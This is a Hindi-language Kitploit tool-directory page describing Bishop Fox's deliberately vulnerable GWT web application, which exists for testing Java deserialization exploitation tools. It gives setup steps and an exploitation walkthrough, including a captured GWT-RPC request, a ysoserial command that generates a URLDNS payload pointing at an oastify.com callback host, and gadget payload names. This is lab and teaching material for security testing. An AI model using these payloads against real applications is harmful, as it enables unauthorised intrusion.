Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
VulnerableGWTApp — एक जानबूझकर असुरक्षित GWT-आधारित वेब अनुप्रयोग, जो टूलिंग और तकनीकों का परीक्षण करने के लिए है | Kitploit
उपकरण/GitHubGitHub/bishopfox/vulnerablegwtapp
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubbishopfox/vulnerablegwtapp

VulnerableGWTApp

एक जानबूझकर असुरक्षित GWT-आधारित वेब अनुप्रयोग, जो टूलिंग और तकनीकों का परीक्षण करने के लिए है

रिपॉजिटरी देखें
52 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

असुरक्षित GWT वेब एप्लिकेशन

यह GWT आरंभ-मार्गदर्शिका में वर्णित StockWatcher उदाहरण एप्लिकेशन का एक संस्करण है, जिसे GWT की "enhanced classes" सुविधा का उपयोग करने के लिए संशोधित किया गया है, जिससे यह Java deserialization हमले के प्रति भेद्य हो जाता है। इसका उपयोग केवल पहचान और शोषण उपकरणों के परीक्षण के लिए किया जाना चाहिए। वास्तविक दुनिया के GWT-आधारित अनुप्रयोगों में enhanced classes का सामान्य रूप से उपयोग किया जाता है, लेकिन इस उदाहरण के प्रकाशन तक, सुरक्षा पेशेवरों के पास अपने उपकरणों और प्रक्रियाओं को मान्य करने के लिए कोई आसानी से उपलब्ध ओपन सोर्स वेब एप्लिकेशन नहीं था।

GWT-आधारित अनुप्रयोगों का शोषण Bishop Fox ब्लॉग पोस्ट "GWT: एक आठ साल पुरानी अनपैच्ड Java Deserialization भेद्यता" में चर्चा की गई है।

वेब एप्लिकेशन चलाना

वेब एप्लिकेशन चलाने के लिए, आपको निम्नलिखित टूल्स वाली एक Linux प्रणाली की आवश्यकता होगी:

  • OpenJDK 11 JRE का पूर्ण संस्करण, हेडलेस संस्करण नहीं - उदाहरण के लिए, Debian-आधारित वितरणों पर, openjdk-11-jre पैकेज स्थापित करें
  • ant (अपने वितरण के पैकेज मैनेजर का उपयोग करके स्थापित करें)
  • GWT SDK का संस्करण 2.10.0

त्वरित आरंभ

एप्लिकेशन को कई JAR फ़ाइलों की आवश्यकता होती है जो GitHub सोर्स नियंत्रण में सीधे शामिल करने के लिए बहुत बड़ी हैं, इसलिए आरंभ करने का सबसे आसान तरीका रिलीज़ पृष्ठ से नवीनतम पैकेज डाउनलोड करना और उसे अनपैक करना है।

एक बार रिलीज़ अनपैक कर लेने के बाद, build.xml में इस पंक्ति को संपादित करके /home/user/GWT/gwt-2.10.0 को अपनी GWT SDK निर्देशिका से बदलें:

सोर्स कोड निर्देशिका के भीतर से, निम्नलिखित कमांड चलाएँ:

root@kitploit:~
ant build
ant devmode

यह भेद्य वेब एप्लिकेशन लॉन्च करेगा और इसे http://127.0.0.1:8888/StockWatcher.html पर सुलभ बनाएगा।

ध्यान दें कि यदि आप स्थानीय सेवा पर ट्रैफ़िक फ़ॉरवर्ड कर रहे हैं ताकि इसे दूरस्थ रूप से सुलभ बनाया जा सके, तो आपको 8888 के अतिरिक्त पोर्ट 9876 को भी फ़ॉरवर्ड करना चाहिए।

इस रिपॉजिटरी के कोड से सीधे चलाना

यदि आप इस रिपॉजिटरी को क्लोन करना चाहते हैं और बिना रिलीज़ डाउनलोड किए एप्लिकेशन चलाना चाहते हैं, तो आपको इसे क्लोन करने के बाद lib निर्देशिका में निम्नलिखित तृतीय-पक्ष JAR फ़ाइलों को डाउनलोड करके जोड़ना होगा:

  • aspectjweaver-1.9.2.jar
  • commons-collections-3.2.2.jar
  • javax.persistence.jar
  • jboss-as-connector-7.1.3.final.jar
  • jdo-api-3.2.1.jar
  • jpa-annotations-source.jar
  • junit-vintage-engine-5.10.0.jar
  • jython-standalone-2.7.3.jar

आपको इस भेद्य एप्लिकेशन के लिए अपनी GWT निर्देशिका (जैसे gwt-2.10.0/) से निम्नलिखित GWT JAR फ़ाइलों को lib निर्देशिका में कॉपी करने की भी आवश्यकता होगी:

  • gwt-dev.jar
  • gwt-servlet.jar
  • gwt-user.jar
  • validation-api-1.0.0.GA.jar
  • validation-api-1.0.0.GA-sources.jar

उन सभी JAR फ़ाइलों की प्रतिलिपि बनाने के बाद, ऊपर दिए गए त्वरित आरंभ अनुभाग के अन्य चरण करें।

वेब एप्लिकेशन का शोषण

एक इंटरसेप्टिंग प्रॉक्सी (जैसे Burp Suite) के माध्यम से कनेक्ट करने के लिए कॉन्फ़िगर किए गए वेब ब्राउज़र का उपयोग करते हुए, URL http://127.0.0.1:8888/StockWatcher.html लोड करें।

पृष्ठ प्रारंभ में एक "compiling" संदेश प्रदर्शित करेगा। इस मूल फ़ॉर्म को दिखाने तक प्रतीक्षा करें:

[ StockWatcher वेब ऐप एक स्टॉक प्रतीक जोड़ने के लिए फ़ील्ड प्रदर्शित कर रहा है ]

फ़ील्ड में एक छोटा स्ट्रिंग दर्ज करें, जैसे BFOX, फिर Add बटन पर क्लिक करें। पृष्ठ सिम्युलेटेड स्टॉक प्रतीक के लिए यादृच्छिक अपडेट प्रदर्शित करना शुरू कर देगा:

[ StockWatcher वेब ऐप BFOX प्रतीक के लिए सिम्युलेटेड मूल्य डेटा प्रदर्शित कर रहा है ]

अपने इंटरसेप्टिंग प्रॉक्सी इतिहास में, ध्यान दें कि आपका ब्राउज़र अब बार-बार POST अनुरोधों को http://127.0.0.1:8888/stockwatcher/checkCustomClass1 पर भेज रहा है, जो निम्नलिखित के समान है:

root@kitploit:~
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...

7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|

अनुरोध में Base64-एन्कोडेड बाइनरी डेटा rO0ABXcEAAAAAA== एक भेद्य इंजेक्शन बिंदु है। वेब एप्लिकेशन का शोषण करने के लिए, आपको एक प्रतिस्थापन पेलोड उत्पन्न करने की आवश्यकता होगी। उदाहरण के लिए, Bishop Fox का अनुकूलित ysoserial संस्करण का उपयोग करके URLDNS पेलोड उत्पन्न करने के लिए, आप निम्नलिखित कमांड निष्पादित कर सकते हैं:

root@kitploit:~
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
  --gwt bishopfox \
  URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
  | base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64

एक संशोधित अनुरोध भेजें जो rO0ABXcEAAAAAA== को आपके उत्पन्न पेलोड से बदल दे, और भेद्य एप्लिकेशन को इसे deserialize और ट्रिगर करना चाहिए। पेलोड के कारण होने वाली किसी भी कार्रवाई के अतिरिक्त, यदि मान deserialize किया गया था, तो प्रतिक्रिया में फ़ील्ड नाम से संबंधित एक NoSuchFieldException भी शामिल होना चाहिए, उदाहरण के लिए ऊपर दिए गए उदाहरण से bishopfox नाम का उपयोग करते हुए:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...

//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]

यदि आपने भेद्य वेब एप्लिकेशन के पूर्व-निर्मित रिलीज़ का उपयोग किया है, या ऊपर संदर्भित सभी JARs को मैन्युअल रूप से एक कस्टम बिल्ड में जोड़ा है, तो आपको (कम से कम) वेब ऐप के विरुद्ध निम्नलिखित पेलोड का उपयोग करने में सक्षम होना चाहिए:

  • AspectJWeaver
  • Jython2
  • Jython3

इस लेखन के समय, ysoserial का मुख्यधारा संस्करण GWT-स्वरूपित आउटपुट का समर्थन नहीं करता था, इसलिए कृपया सुनिश्चित करें कि आप कस्टम फ़ोर्क का उपयोग करें।

टूल डाउनलोड करें